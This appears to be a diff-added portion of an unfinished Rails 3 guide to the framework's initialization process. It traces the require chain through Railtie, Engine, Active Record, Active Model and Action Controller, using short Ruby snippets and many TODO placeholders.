+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'pathname'
+
+  require 'active_support'
+  require 'active_support/core_ext/kernel/reporting'
+  require 'active_support/core_ext/logger'
+
+  require 'rails/application'
+  require 'rails/version'
+  require 'rails/deprecation'
+  require 'rails/log_subscriber'
+  require 'rails/ruby_version_check'
+
+  require 'active_support/railtie'
+  require 'action_dispatch/railtie'
+</pre>
+</div>
+</notextile>
+
+<p><tt>require 'pathname'</tt> requires the Pathname class which is used for returning a Pathname object for <tt>Rails.root</tt>. Although is coming to use this path name to generate paths as below:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Rails.root.join(&quot;app/controllers&quot;)
+</pre>
+</div>
+</notextile>
+
+<p>Pathname can also be converted to string, so the following syntax is preferred:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;#{Rails.root}/app/controllers&quot;
+</pre>
+</div>
+</notextile>
+
+<p>This works because Ruby automatically handles file path conversions. Although this is not new to Rails 3 (it was available in 2.3.5), it is something worthwhile pointing out.</p>
+<p>Inside this file there are other helpful helper methods defined, such as <tt>Rails.root</tt>, <tt>Rails.env</tt>, <tt>Rails.logger</tt> and <tt>Rails.application</tt>.</p>
+<p>The first require:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'active_support'
+</pre>
+</div>
+</notextile>
+
+<p>Is not ran as this was already required by <em>actionpack/lib/action_dispatch.rb</em>.</p>
+<h4 id="require-active_support-core_ext-kernel-reporting">5.10 <tt>require 'active_support/core_ext/kernel/reporting'</tt></h4>
+<p>This file extends the <tt>Kernel</tt> module, providing the methods <tt>silence_warnings</tt>, <tt>enable_warnings</tt>, <tt>with_warnings</tt>, <tt>silence_stderr</tt>, <tt>silence_stream</tt> and <tt>suppress</tt>. The <span class="caps">API</span> documentation on these overridden methods is fairly good and if you wish to know more <a href="http://api.rubyonrails.org/classes/Kernel.html">have a read.</a></p>
+<p>For information on this file see the &#8220;Core Extensions&#8221; guide. <span class="caps">TODO</span>: link to guide.</p>
+<h4 id="require-active_support-core_ext-logger">5.11 <tt>require 'active_support/core_ext/logger'</tt></h4>
+<p>For information on this file see the &#8220;Core Extensions&#8221; guide. <span class="caps">TODO</span>: link to guide.</p>
+<h4 id="require-rails-application">5.12 <tt>require 'rails/application'</tt></h4>
+<p>Here&#8217;s where <tt>Rails::Application</tt> is defined. This is the superclass of <tt>YourApp::Application</tt> from <em>config/application.rb</em> and the subclass of <tt>Rails::Engine</tt> This is the main entry-point into the Rails initialization process as when your application is initialized, your class is the basis of its configuration.</p>
+<p>This file requires three important files before <tt>Rails::Application</tt> is defined: <em>rails/railties_path.rb</em>, <em>rails/plugin.rb</em> and <em>rails/engine.rb</em>.</p>
+<h4 id="require-rails-railties_path">5.13 <tt>require 'rails/railties_path'</tt></h4>
+<p>This file serves one purpose:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+RAILTIES_PATH = File.expand_path(File.join(File.dirname(__FILE__), '..', '..'))
+</pre>
+</div>
+</notextile>
+
+<p>Helpful, hey? One must wonder why they just didn&#8217;t define it outright.</p>
+<h4 id="require-rails-plugin">5.14 <tt>require 'rails/plugin'</tt></h4>
+<p>Firstly this file requires <em>rails/engine.rb</em>, which defines our <tt>Rails::Engine</tt> class, explained in the very next section.</p>
+<p>This file defines a class called <tt>Rails::Plugin</tt> which descends from <tt>Rails::Engine</tt>.</p>
+<p>This defines the first few initializers for the Rails stack:</p>
+<ul>
+	<li>load_init_rb</li>
+	<li>sanity_check_railties_collisons</li>
+</ul>
+<p>These are explained in the Initialization section. <span class="caps">TODO</span>: First write initialization section then come back here and link.
+<span class="caps">TODO</span>: Expand.</p>
+<h4 id="require-rails-engine">5.15 <tt>require 'rails/engine'</tt></h4>
+<p>This file requires <em>rails/railtie.rb</em> which defines <tt>Rails::Railtie</tt>.</p>
+<p><tt>Rails::Engine</tt> defines a couple of further initializers for your application:</p>
+<ul>
+	<li>set_load_path</li>
+	<li>set_autoload_paths</li>
+	<li>add_routing_paths</li>
+	<li>add_routing_namespaces</li>
+	<li>add_locales</li>
+	<li>add_view_paths</li>
+	<li>add_generator_templates</li>
+	<li>load_application_initializers</li>
+	<li>load_application_classes</li>
+</ul>
+<p>These are explained in the Initialization section. <span class="caps">TODO</span>: First write initialization section then come back here and link.</p>
+<p>Also in here we see that a couple of methods are <tt>delegate</tt>&#8217;d:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+delegate :middleware, :paths, :root, :to =&gt; :config
+</pre>
+</div>
+</notextile>
+
+<p>This means when you call either the <tt>middleware</tt>, <tt>paths</tt> or <tt>root</tt> methods you are in reality calling <tt>config.middleware</tt>, <tt>config.paths</tt> and <tt>config.root</tt> respectively.</p>
+<p><tt>Rails::Engine</tt> descends from <tt>Rails::Railtie</tt>.</p>
+<h4 id="require-rails-railtie">5.16 <tt>require 'rails/railtie'</tt></h4>
+<p><tt>Rails::Railtie</tt> (<em>pronounced Rail-tie, as in a bowtie</em>), provides a method of classes to hook into Rails, providing them with methods to add generators, rake tasks and subscribers. All of the facets of Rails are their own Railtie. and as you&#8217;ve probably already figured out, the engines that you use are railties too. Plugins also can be railties, but they do not have to be.</p>
+<p>Here there&#8217;s requires to <em>rails/initializable.rb</em> and and <em>rails/configurable.rb</em>.</p>
+<h4 id="require-rails-initializable">5.17 <tt>require 'rails/initializable'</tt></h4>
+<p>The <tt>Rails::Initializable</tt> module includes methods helpful for the initialization process in rails, such as the method to define initializers: <tt>initializer</tt>. This is included into <tt>Rails::Railtie</tt> so it&#8217;s available there as well as <tt>Rails::Engine</tt>, <tt>Rails::Application</tt> and <tt>YourApp::Application</tt>. In here we also see the class definition for <tt>Rails::Initializer</tt>, the class for all initializer objects.</p>
+<h4 id="require-rails-configuration">5.18 <tt>require 'rails/configuration'</tt></h4>
+<p>The <tt>Rails::Configuration</tt> module sets up shared configuration for applications, engines and plugins alike.</p>
+<p>At the top of this file there are three <tt>require</tt>s:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'active_support/ordered_options'
+  require 'rails/paths'
+  require 'rails/rack'
+</pre>
+</div>
+</notextile>
+
+<h4 id="require-active_support-ordered_options">5.19 <tt>require 'active_support/ordered_options'</tt></h4>
+<p><tt>ActiveSupport::OrderedOptions</tt> is a special-purpose <tt>OrderedHash</tt>, used for keeping track of the options specified in the configuration of your application.</p>
+<p><span class="caps">TODO</span>: expand.</p>
+<h4 id="require-rails-paths">5.20 <tt>require 'rails/paths'</tt></h4>
+<p>This file is used to set up the <tt>Rails::Paths</tt> module which is used to set up helpers for referencing paths to the folders of your Rails application, such as in <em>railties/lib/rails/engine/configuration.rb</em> where it is used to firstly define them:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def paths
+    @paths ||= begin
+      paths = Rails::Paths::Root.new(@root)
+      paths.app                 &quot;app&quot;,                 :eager_load =&gt; true, :glob =&gt; &quot;*&quot;
+      paths.app.controllers     &quot;app/controllers&quot;,     :eager_load =&gt; true
+      paths.app.helpers         &quot;app/helpers&quot;,         :eager_load =&gt; true
+      paths.app.models          &quot;app/models&quot;,          :eager_load =&gt; true
+      paths.app.mailers         &quot;app/mailers&quot;,         :eager_load =&gt; true
+      paths.app.views           &quot;app/views&quot;,           :eager_load =&gt; true
+      paths.lib                 &quot;lib&quot;,                 :load_path =&gt; true
+      paths.lib.tasks           &quot;lib/tasks&quot;,           :glob =&gt; &quot;**/*.rake&quot;
+      paths.lib.templates       &quot;lib/templates&quot;
+      paths.config              &quot;config&quot;
+      paths.config.initializers &quot;config/initializers&quot;, :glob =&gt; &quot;**/*.rb&quot;
+      paths.config.locales      &quot;config/locales&quot;,      :glob =&gt; &quot;*.{rb,yml}&quot;
+      paths.config.routes       &quot;config/routes.rb&quot;
+      paths.public              &quot;public&quot;
+      paths.public.javascripts  &quot;public/javascripts&quot;
+      paths.public.stylesheets  &quot;public/stylesheets&quot;
+      paths
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<p>You can then get to these helper methods by calling <tt>YourApp::Application.config.paths</tt>.</p>
+<h4 id="require-rails-rack">5.21 <tt>require 'rails/rack'</tt></h4>
+<p>This file sets up some <tt>autoload</tt>&#8217;d constants for <tt>Rails::Rack</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module Rails
+    module Rack
+      autoload :Debugger,  &quot;rails/rack/debugger&quot;
+      autoload :Logger,    &quot;rails/rack/logger&quot;
+      autoload :LogTailer, &quot;rails/rack/log_tailer&quot;
+      autoload :Static,    &quot;rails/rack/static&quot;
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<h4 id="require-rails-version">5.22 <tt>require 'rails/version'</tt></h4>
+<p>Now we&#8217;re back to <em>rails.rb</em>. The line after <tt>require 'rails/application'</tt> in <em>rails.rb</em> is:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'rails/version'
+</pre>
+</div>
+</notextile>
+
+<p>The code in this file declares <tt>Rails::VERSION</tt> so that the version number can easily be accessed. It stores it in constants, with the final version number being attainable by calling <tt>Rails::VERSION::STRING</tt>.</p>
+<h4 id="require-rails-deprecation">5.23 <tt>require 'rails/deprecation'</tt></h4>
+<p>This sets up a couple of familiar constants: <tt>RAILS_ENV</tt>, <tt>RAILS_ROOT</tt> and <tt>RAILS_DEFAULT_LOGGER</tt> to still be usable, but raise a deprecation warning when they are. Their alternatives are now <tt>Rails.env</tt>, <tt>Rails.root</tt> and <tt>Rails.logger</tt> respectively.</p>
+<p>If you wish to know more about how they&#8217;re deprecated see the <tt>require 'active_support/deprecation/proxy_wrappers'</tt> section. <span class="caps">TODO</span>: link to section.</p>
+<h4 id="require-rails-log_subscriber">5.24 <tt>require 'rails/log_subscriber'</tt></h4>
+<p>The <tt>Rails::LogSubscriber</tt> provides a central location for logging in Rails 3 so as to not slow down the main thread. When you call one of the logging methods (<tt>info</tt>, <tt>debug</tt>, <tt>warn</tt>, <tt>error</tt>, <tt>fatal</tt> or <tt>unknown</tt>) from the <tt>Rails::LogSubscriber</tt> class or one of its subclasses this will notify the Rails logger to log this call in the fashion you specify, but will not write it to the file. The file writing is done at the end of the request, courtesy of the <tt>Rails::Rack::Logger</tt> middleware.</p>
+<p>Each Railtie defines its own class that descends from <tt>Rails::LogSubscriber</tt> with each defining its own methods for logging individual tasks.</p>
+<h4 id="require-rails-ruby_version_check">5.25 <tt>require 'rails/ruby_version_check'</tt></h4>
+<p>This file ensures that you&#8217;re running a minimum of 1.8.7. If you&#8217;re running an older version, it will tell you:</p>
+<pre>
+  Rails requires Ruby version 1.8.7 or later.
+  You're running [your Ruby version here]; please upgrade to continue.
+</pre>
+<h4 id="require-activesupport-railtie">5.26 <tt>require 'activesupport/railtie'</tt></h4>
+<p>This file declares two Railties, one for ActiveSupport and the other for I18n. In these Railties there&#8217;s the following initializers defined:</p>
+<ul>
+	<li>active_support.initialize_whiny_nils</li>
+	<li>active_support.initialize_time_zone</li>
+</ul>
+<ul>
+	<li>i18n.initialize</li>
+</ul>
+<p>This Railtie also defines an an <tt>after_initialize</tt> block, which will (as the name implies) be ran after the initialization process. More on this later. <span class="caps">TODO</span>: When you write the section you can link to it.</p>
+<h4 id="require-action_dispatch-railtie">5.27 <tt>require 'action_dispatch/railtie'</tt></h4>
+<p>This file is explained in the ActionDispatch Railtie Section. <span class="caps">TODO</span>: link</p>
+<h4 id="return-to-_rails-all-rb_">5.28 Return to <em>rails/all.rb</em></h4>
+<p>Now that we&#8217;ve covered the extensive process of what the first line does in this file, lets cover the remainder:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+%w(
+    active_record
+    action_controller
+    action_mailer
+    active_resource
+    rails/test_unit
+  ).each do |framework|
+    begin
+      require &quot;#{framework}/railtie&quot;
+    rescue LoadError
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<p>As you may be able to tell from the code, this is going through and loading all the Railties for Active Record, Action Controller, Action Mailer, Active Resource. Two other Railties, one for Active Support and one for Action Dispatch were required earlier, but are still covered in this section for continuity reasons. <span class="caps">TODO</span>: link.</p>
+<h4 id="activesupport-railtie">5.29 ActiveSupport Railtie</h4>
+<p>From Active Support&#8217;s <span class="caps">README</span>:</p>
+<p>Active Support is a collection of various utility classes and standard library extensions that were found useful for Rails.</p>
+<p><span class="caps">TODO</span>: Quotify.</p>
+<h5 id="require-active_support-railtie">5.29.1 <tt>require 'active_support/railtie'</tt></h5>
+<h4 id="active-record-railtie">5.30 Active Record Railtie</h4>
+<p>The Active Record Railtie takes care of hooking Active Record into Rails. This depends on Active Support, Active Model and Arel. From Active Record&#8217;s readme:</p>
+<p><span class="caps">TODO</span>: Quotify.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+Active Record connects business objects and database tables to create a persistable domain model where logic and data are presented in one wrapping. It's an implementation of the object-relational mapping (ORM) pattern by the same name as described by Martin Fowler:
+
+    &quot;An object that wraps a row in a database table or view, encapsulates
+         the database access, and adds domain logic on that data.&quot;
+
+  Active Record's main contribution to the pattern is to relieve the original of two stunting problems:
+  lack of associations and inheritance. By adding a simple domain language-like set of macros to describe
+  the former and integrating the Single Table Inheritance pattern for the latter, Active Record narrows the
+  gap of functionality between the data mapper and active record approach.
+</pre>
+</div>
+</notextile>
+
+<h5 id="require-active_record-railtie">5.30.1 <tt>require "active_record/railtie"</tt></h5>
+<p>The <em>activerecord/lib/active_record/railtie.rb</em> file defines the Railtie for Active Record.</p>
+<p>This file first requires Active Record, the <em>railties/lib/rails.rb</em> file which has already been required and so will be ignored, and the Active Model Railtie:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require &quot;active_record&quot;
+  require &quot;rails&quot;
+  require &quot;active_model/railtie&quot;
+</pre>
+</div>
+</notextile>
+
+<p>Active Model&#8217;s Railtie is covered in the next section. <span class="caps">TODO</span>: Section.</p>
+<h5 id="require-active_record">5.30.2 <tt>require "active_record"</tt></h5>
+<p><span class="caps">TODO</span>: Why are <tt>activesupport_path</tt> and <tt>activemodel_path</tt> defined here?</p>
+<p>The first three requires require ActiveSupport, Active Model and ARel in that order:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'active_support'
+  require 'active_model'
+  require 'arel'
+</pre>
+</div>
+</notextile>
+
+<h5 id="require-active_support">5.30.3 <tt>require "active_support"</tt></h5>
+<p>This was loaded earlier by <em>railties/lib/rails.rb</em>. This line is here as a safeguard for when Active Record is loaded outside the scope of Rails.</p>
+<h5 id="require-active_model">5.30.4 <tt>require "active_model"</tt></h5>
+<p><span class="caps">TODO</span>: Again with the <tt>activesupport_path</tt>!</p>
+<p>Here we see another <tt>require "active_support"</tt> this is again, a safeguard for when Active Model is loaded outside the scope of Rails.</p>
+<p>This file defines a few <tt>autoload</tt>&#8217;d modules for Active Model, requires <tt>active_support/i18n</tt> and adds the default translation file for Active Model to <tt>I18n.load_path</tt>.</p>
+<p>The <tt>require 'active_support/i18n'</tt> just loads I18n and adds Active Support&#8217;s default translations file to <tt>I18n.load_path</tt> too:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'i18n'
+  I18n.load_path &lt;&lt; &quot;#{File.dirname(__FILE__)}/locale/en.yml
+</pre>
+</div>
+</notextile>
+
+<h5 id="require-arel">5.30.5 <tt>require "arel"</tt></h5>
+<p>This file in <em>arel/lib/arel.rb</em> loads a couple of Active Support things first:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'active_support/inflector'
+  require 'active_support/core_ext/module/delegation'
+  require 'active_support/core_ext/class/attribute_accessors'
+</pre>
+</div>
+</notextile>
+
+<p>These files are explained in the &#8220;Common Includes&#8221; section.</p>
+<h5 id="require-arel">5.30.6 <tt>require 'arel'</tt></h5>
+<p>Back in <em>arel/lib/arel.rb</em>, the next two lines require Active Record parts:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'active_record'
+  require 'active_record/connection_adapters/abstract/quoting'
+</pre>
+</div>
+</notextile>
+
+<p>Because we&#8217;re currently loading <em>active_record.rb</em>, it skips right over it.</p>
+<h5 id="require-active_record-connection_adapters-abstract-quoting">5.30.7 <tt>require 'active_record/connection_adapters/abstract/quoting'</tt></h5>
+<p><em>activerecord/lib/active_record/connection_adapters/abstract/quoting.rb</em> defines methods used for quoting fields and table names in Active Record.</p>
+<p><span class="caps">TODO</span>: Explain why this is loaded especially.</p>
+<h5 id="require-active_record">5.30.8 <tt>require 'active_record'</tt></h5>
+<p>Back the initial require from the <em>railtie.rb</em>.</p>
+<p>The <em>active_support</em> and <em>active_model</em> requires are again just an insurance for if we&#8217;re loading Active Record outside of the scope of Rails. In <em>active_record.rb</em> the ActiveRecord <tt>Module</tt> is initialized and in it there is defined a couple of <tt>autoloads</tt> and <tt>eager_autoloads</tt>.</p>
+<p>There&#8217;s a new method here called <tt>autoload_under</tt> which is defined in <tt>ActiveSupport::Autoload</tt>. This sets the autoload path to temporarily be the specified path, in this case <tt>relation</tt> for the <tt>autoload</tt>&#8217;d classes inside the block.</p>
+<p>Inside this file the <tt>AttributeMethods</tt>, <tt>Locking</tt> and <tt>ConnectionAdapter</tt> modules are defined inside the <tt>ActiveRecord</tt> module. The second to last line tells Arel what <span class="caps">SQL</span> engine we want to use. In this case it&#8217;s <tt>ActiveRecord::Base</tt>. The final line adds in the translations for Active Record which are only for if a record is invalid or non-unique.</p>
+<h5 id="require-rails">5.30.9 <tt>require 'rails'</tt></h5>
+<p>As mentioned previously this is skipped over as it has been already loaded. If you&#8217;d still like to see what this file does go to section <span class="caps">TODO</span>: section.</p>
+<h5 id="require-active_model-railtie">5.30.10 <tt>require 'active_model/railtie'</tt></h5>
+<p>This is covered in the Active Model Railtie section. <span class="caps">TODO</span>: link there.</p>
+<h5 id="require-action_controller-railtie">5.30.11 <tt>require 'action_controller/railtie'</tt></h5>
+<p>This is covered in the Action Controller Railtie section. <span class="caps">TODO</span>: link there.</p>
+<h5 id="the-active-record-railtie">5.30.12 The Active Record Railtie</h5>
+<p>Inside the Active Record Railtie the <tt>ActiveRecord::Railtie</tt> class is defined:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module ActiveRecord
+    class Railtie &lt; Rails::Railtie
+
+    ...
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<p><span class="caps">TODO</span>: Explain the logger.</p>
+<p>By doing this the <tt>ActiveRecord::Railtie</tt> class gains access to the methods contained within <tt>Rails::Railtie</tt> such as <tt>rake_tasks</tt>, <tt>log_subscriber</tt> and <tt>initiailizer</tt>, all of which the Railtie is using in this case. The initializers defined here are:</p>
+<ul>
+	<li>active_record.initialize_timezone</li>
+	<li>active_record.logger</li>
+	<li>active_record.set_configs</li>
+	<li>active_record.initialize_database</li>
+	<li>active_record.log_runtime</li>
+	<li>active_record.initialize_database_middleware</li>
+	<li>active_record.load_observers</li>
+	<li>active_record.set_dispatch_hooks</li>
+</ul>
+<p>As with the engine initializers, these are explained later.</p>
+<h4 id="active-model-railtie">5.31 Active Model Railtie</h4>
+<p>This Railtie is <tt>require</tt>&#8216;d by Active Record&#8217;s Railtie.</p>
+<p>From the Active Model readme:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+Prior to Rails 3.0, if a plugin or gem developer wanted to be able to have an object interact with Action Pack helpers, it was required to either copy chunks of code from Rails, or monkey patch entire helpers to make them handle objects that did not look like Active Record.  This generated code duplication and fragile applications that broke on upgrades.
+
+  Active Model is a solution for this problem.
+
+  Active Model provides a known set of interfaces that your objects can implement to then present a common interface to the Action Pack helpers.
+</pre>
+</div>
+</notextile>
+
+<h5 id="require-active_model-railtie">5.31.1 <tt>require "active_model/railtie"</tt></h5>
+<p>This Railtie file, <em>activemodel/lib/active_model/railtie.rb</em> is quite small and only requires in <tt>active_model</tt>. As mentioned previously, the require to <em>rails</em> is skipped over as it has been already loaded. If you&#8217;d still like to see what this file does go to section <span class="caps">TODO</span>: section.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require &quot;active_model&quot;
+  require &quot;rails&quot;
+</pre>
+</div>
+</notextile>
+
+<h5 id="require-active_model">5.31.2 <tt>require "active_model"</tt></h5>
+<p>Active Model depends on Active Support and ensures it is required by making a <tt>require 'active_support'</tt> call. It has already been loaded from <em>railties/lib/rails.rb</em> so will not be reloaded for us here. The file goes on to define the <tt>ActiveModel</tt> module and all of its autoloaded classes. This file also defines the english translations for some of the validation messages provided by Active Model, such as &#8220;is not included in the list&#8221; and &#8220;is reserved&#8221;.</p>
+<h4 id="action-controller-railtie">5.32 Action Controller Railtie</h4>
+<p>The Action Controller Railtie takes care of all the behind-the-scenes code for your controllers; it puts the C into <span class="caps">MVC</span>; and does so by implementing the <tt>ActionController::Base</tt> class which you may recall is where your <tt>ApplicationController</tt> class descends from.</p>
+<h5 id="require-action_controller-railtie">5.32.1 <tt>require 'action_controller/railtie'</tt></h5>
+<p>This first makes a couple of requires:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require &quot;action_controller&quot;
+  require &quot;rails&quot;
+  require &quot;action_view/railtie&quot;
+</pre>
+</div>
+</notextile>
+
+<p>The <em>action_controller</em> file is explained in the very next section. The require to <em>rails</em> is requiring the already-required <em>railties/lib/rails.rb</em>. If you wish to know about the require to <em>action_view/railtie</em> this is explained in the Action View Railtie section.</p>
+<h5 id="require-action_controller">5.32.2 <tt>require 'action_controller</tt></h5>
+<p>This file, <em>actionpack/lib/action_controller.rb</em>, defines the Action Controller module and its relative autoloads. Before it does any of that it makes two requires: one to <em>abstract_controller</em>, explored next, and the other to <em>action_dispatch</em>, explored directly after that.</p>
+<h5 id="require-abstract_controller">5.32.3 <tt>require 'abstract_controller'</tt></h5>
+<p><tt>AbstractController</tt> provides the functionality of <span class="caps">TODO</span>.</p>
+<p>This file is in <em>actionpack/lib/abstract_controller.rb</em> and begins by attempting to add the path to Active Support to the load path, which it would succeed in if it wasn&#8217;t already set by anything loaded before it. In this case, it&#8217;s not going to be set due to Arel already loading it in (<span class="caps">TODO</span>: right?).</p>
+<p>The next thing in this file four <tt>require</tt> calls:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'active_support/ruby/shim'
+  require 'active_support/dependencies/autoload'
+  require 'active_support/core_ext/module/attr_internal'
+  require 'active_support/core_ext/module/delegation'
+</pre>
+</div>
+</notextile>
+
+<p>After these require calls the <tt>AbstractController</tt> module is defined with some standard <tt>autoload</tt>&#8217;d classes.</p>
+<h5 id="require-active_support-ruby-shim">5.32.4 <tt>require 'active_support/ruby/shim'</tt></h5>
+<p>This file is explained in the &#8220;Common Includes&#8221; section beneath.</p>
+<h5 id="require-active_support-dependencies-autoload">5.32.5 <tt>require 'active_support/dependencies/autoload</tt></h5>
+<p>This file was loaded upon the first require of <tt>active_support</tt> and is not included. If you wish to be refreshed on what this file performs visit <span class="caps">TODO</span>: link to section.</p>
+<h5 id="require-active_support-core_ext-module-attr_internal">5.32.6 <tt>require 'active_support/core_ext/module/attr_internal'</tt></h5>
+<p>This file is explained in the &#8220;Common Includes&#8221; section as it is required again later on. See the <span class="caps">TODO</span>: section. I also think this may be explained in the Active Support Core Extensions guide.</p>
+<h5 id="require-active_support-core_ext-module-delegation">5.32.7 <tt>require 'active_support/core_ext/module/delegation'</tt></h5>
+<p>This file is explained in the &#8220;Common Includes&#8221; section as it has already been required by Arel at this point in the initialization process (see: section <span class="caps">TODO</span>: <span class="caps">LINK</span>!).</p>
+<h5 id="require-action_controller">5.32.8 <tt>require 'action_controller'</tt></h5>
+<p>Back to <em>actionpack/lib/action_controller.rb</em>.</p>
+<p>After the initial call to <tt>require 'abstract_controller'</tt>, this calls <tt>require 'action_dispatch'</tt> which was required earlier by <em>railties/lib/rails.rb</em>. The purpose of this file is explained in the ActionDispatch Railtie section.</p>
+<p>This file defines the <tt>ActionController</tt> module and its autoloaded classes.</p>
+<p>Here we have a new method called <tt>autoload_under</tt>. This was covered in the Active Record Railtie but it is covered here also just in case you missed or skimmed over it. The <tt>autoload_under</tt> method is  defined in <tt>ActiveSupport::Autoload</tt> and it sets the autoload path to temporarily be the specified path, in this case by specifying <em>metal</em> it will load the specified <tt>autoload</tt>&#8217;d classes from <em>lib/action_controller/metal</em> inside the block.</p>
+<p>Another new method we have here is called <tt>autoload_at</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+autoload_at &quot;action_controller/metal/exceptions&quot; do
+    autoload :ActionControllerError
+    autoload :RenderError
+    autoload :RoutingError
+    autoload :MethodNotAllowed
+    autoload :NotImplemented
+    autoload :UnknownController
+    autoload :MissingFile
+    autoload :RenderError
+    autoload :SessionOverflowError
+    autoload :UnknownHttpMethod
+  end
+</pre>
+</div>
+</notextile>
+
+<p>This defines the path of which to find these classes defined at and is most useful for if you have multiple classes defined in a single file, as is the case for this block; all of those classes are defined inside <em>action_controller/metal/exceptions.rb</em> and when Active Support goes looking for them it will look in that file.</p>
+<p>At the end of this file there are a couple more requires:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# All of these simply register additional autoloads
+  require 'action_view'
+  require 'action_controller/vendor/html-scanner'
+
+  # Common Active Support usage in ActionController
+  require 'active_support/concern'
+  require 'active_support/core_ext/class/attribute_accessors'
+  require 'active_support/core_ext/load_error'
+  require 'active_support/core_ext/module/attr_internal'
+  require 'active_support/core_ext/module/delegation'
+  require 'active_support/core_ext/name_error'
+  require 'active_support/inflector'
+</pre>
+</div>
+</notextile>
+
+<h5 id="require-action_view">5.32.9 <tt>require 'action_view'</tt></h5>
+<p>This is best covered in the Action View Railtie section, so skip there by <span class="caps">TODO</span>: Link / page?</p>
+<h5 id="require-action_controller-vendor-html-scanner">5.32.10 <tt>require 'action_controller/vendor/html-scanner'</tt></h5>
+<p><span class="caps">TODO</span>: What is the purpose of this? Find out.</p>
+<h5 id="require-active_support-concern">5.32.11 <tt>require 'active_support/concern'</tt></h5>
+<p><span class="caps">TODO</span>: I can kind of understand the purpose of this.. need to see where @_dependencies is used however.</p>
+<h5 id="require-active_support-core_ext-class-attribute_accessors">5.32.12 <tt>require 'active_support/core_ext/class/attribute_accessors'</tt></h5>
+<p>This file defines, as the path implies, attribute accessors for class. These are <tt>cattr_reader</tt>, <tt>cattr_writer</tt>, <tt>cattr_accessor</tt>.</p>
+<h5 id="require-active_support-core_ext-load_error">5.32.13 <tt>require 'active_support/core_ext/load_error'</tt></h5>
+<p>The Active Support Core Extensions (<span class="caps">TODO</span>: <span class="caps">LINK</span>!) guide has a great coverage of what this file precisely provides.</p>
+<h5 id="require-active_support-core_ext-module-attr_internal">5.32.14 <tt>require 'active_support/core_ext/module/attr_internal'</tt></h5>
+<p>This file is explained in the &#8220;Core Extension&#8221; guide.</p>
+<p>This file was required through the earlier <em>abstract_controller.rb</em> require.</p>
+<h5 id="require-active_support-core_ext-module-delegation">5.32.15 <tt>require 'active_support/core_ext/module/delegation'</tt></h5>
+<p>This file is explained in the &#8220;Common Includes&#8221; section.</p>
+<p>This file was required earlier by Arel and so is not required again.</p>
+<h5 id="require-active_support-core_ext-name_error">5.32.16 <tt>require 'active_support/core_ext/name_error'</tt></h5>
+<p>This file includes extensions to the <tt>NameError</tt> class, providing the <tt>missing_name</tt> and <tt>missing_name?</tt> methods. For more information see the Active Support Core Extensions guide.</p>
+<h5 id="require-active_support-inflector">5.32.17 <tt>require 'active_support/inflector'</tt></h5>
+<p>This file is explained in the &#8220;Common Includes&#8221; section.</p>
+<p>This file was earlier required by Arel and so is not required again.</p>
+<h5 id="action-controller-railtie">5.32.18 Action Controller Railtie</h5>
+<p>So now we come back to the Action Controller Railtie with a couple more requires to go before <tt>ActionController::Railtie</tt> is defined:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require &quot;action_view/railtie&quot;
+  require &quot;active_support/core_ext/class/subclasses&quot;
+  require &quot;active_support/deprecation/proxy_wrappers&quot;
+  require &quot;active_support/deprecation&quot;
+</pre>
+</div>
+</notextile>
+
+<p>As explained previously the <tt>action_view/railtie</tt> file will be explained in the Action View Railtie section. <span class="caps">TODO</span>: link to it.</p>
+<h5 id="require-active_support-core_ext-class-subclasses">5.32.19 <tt>require 'active_support/core_ext/class/subclasses'</tt></h5>
+<p>For an explanation of this file <em>activesupport/lib/active_support/core_ext/class/subclasses</em>, see the Active Support Core Extension guide.</p>
+<h5 id="require-active_support-deprecation-proxy_wrappers">5.32.20 <tt>require 'active_support/deprecation/proxy_wrappers'</tt></h5>
+<p>This file, <em>activesupport/lib/active_support/deprecation/proxy_wrappers.rb</em>, defines a couple of deprecation classes, which are <tt>DeprecationProxy</tt>, <tt>DeprecationObjectProxy</tt>, <tt>DeprecationInstanceVariableProxy</tt>, <tt>DeprecationConstantProxy</tt> which are all namespaced into <tt>ActiveSupport::Deprecation</tt>. These last three are all subclasses of <tt>DeprecationProxy</tt>.</p>
